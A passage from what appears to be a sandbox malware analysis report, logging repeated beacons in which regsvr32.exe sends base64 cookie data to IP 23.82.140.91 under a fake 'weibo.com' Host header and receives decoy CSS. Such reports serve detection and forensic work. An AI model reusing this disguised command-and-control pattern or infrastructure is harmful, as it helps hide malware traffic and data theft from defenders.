amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

143 192.168.2.6 49993 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:01 UTC 1370 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:01 UTC 1373 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:01 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:01 UTC 1373 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

144 192.168.2.6 49994 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:02 UTC 1375 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:03 UTC 1375 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:03 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:03 UTC 1375 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

145 192.168.2.6 49995 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:04 UTC 1377 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:05 UTC 1378 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:04 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:05 UTC 1378 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

146 192.168.2.6 49996 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:05 UTC 1380 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:05 UTC 1380 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:05 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:05 UTC 1380 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

147 192.168.2.6 49997 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:06 UTC 1382 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:07 UTC 1383 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:07 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:07 UTC 1383 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

148 192.168.2.6 49998 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:08 UTC 1385 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:08 UTC 1386 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:08 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:08 UTC 1386 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

149 192.168.2.6 49999 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:08 UTC 1385 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:08 UTC 1388 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:08 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:08 UTC 1388 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.6 49776 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:26 UTC 1051 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:26 UTC 1052 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:26 UTC 1052 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

150 192.168.2.6 50000 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:11 UTC 1390 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:11 UTC 1390 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:11 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 90 of 191



2022-02-08 23:10:11 UTC 1390 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

151 192.168.2.6 50001 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:12 UTC 1392 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:12 UTC 1393 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:12 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:12 UTC 1394 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
